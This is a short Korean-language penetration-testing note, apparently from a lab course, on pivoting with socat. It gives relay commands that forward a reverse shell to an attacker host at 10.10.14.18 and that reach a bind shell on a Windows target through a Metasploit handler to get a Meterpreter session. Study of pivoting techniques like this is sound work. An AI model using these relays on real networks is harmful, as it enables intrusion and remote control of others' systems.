```bash
# 타겟 호스트 > 피벗 호스트 > 공격자 호스트
# 피벗 호스트가 8080 포트로 받은 모든 요청을 공격자 호스트의 80번 포트로 전달해주는 리다이렉터 역할을 함.
socat TCP4-LISTEN:8080,fork TCP:10.10.14.18:80
```
# 예시 흐름 - 리버스 쉘
1. 우리가 타겟 호스트에 리버스 쉘 페이로드를 설치해두었다고 가정.
2. 리버스 쉘은 피벗 호스트 8080으로 연결을 시도하도록 구성되어 있다.
3. 이 연결은 `socat`을 통해서 자동으로 `10.10.14.18:80` 공격자 머신으로 전달됨.
4. 공격자 머신에서는 포트 80에서 `nc` 혹은 `Metasploit` 리스너를 돌리고 있다.
5. 따라서 최종적으로 공격자는 타겟에서 오는 리버스 쉘을 받을 수 있게 됨.
# 예시 흐름 2 - 바인드 쉘
1. 우리가 타겟 호스트에 바인드 쉘 페이로드 `bind_tcp`를 설치해두었다고 가정.
1. 이 페이로드는 172.16.5.19:8443에서 대기하도록 구성되어 있다.
2. 윈도우 타겟은 8443 포트에 바인드되어 접속을 기다리고 있다.
3. 공격자는 바인드 쉘에 직접 접근할 수 없기 때문에 중간에 있는 피벗 호스트에 socat을 설정한다.
4. 이 socat 리다이렉터는 피벗 호스트의 8080 포트로 들어오는 연결을 타겟 호스트에 8443 포트로 전달하게 되어있다.
```bash
# 공격자 호스트 > 피벗 호스트 > 타겟 호스트
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
```
5. 공격자는 자신의 머신(10.10.15.5)에서 `Metasploit` 핸들러를 실행해 `RHOST=10.129.202.64` (피벗 호스트) `LPORT=8080`으로 설정하여 socat의 리다이렉터에 연결 시도.
6. 이 연결은 socat을 통해 자동으로 타겟 호스트의 8443 포트로 전달됨.
7. 최종적으로 공격자는 바인드된 윈도우 쉘에 접근하게 되어 Meterpreter 세션을 획득.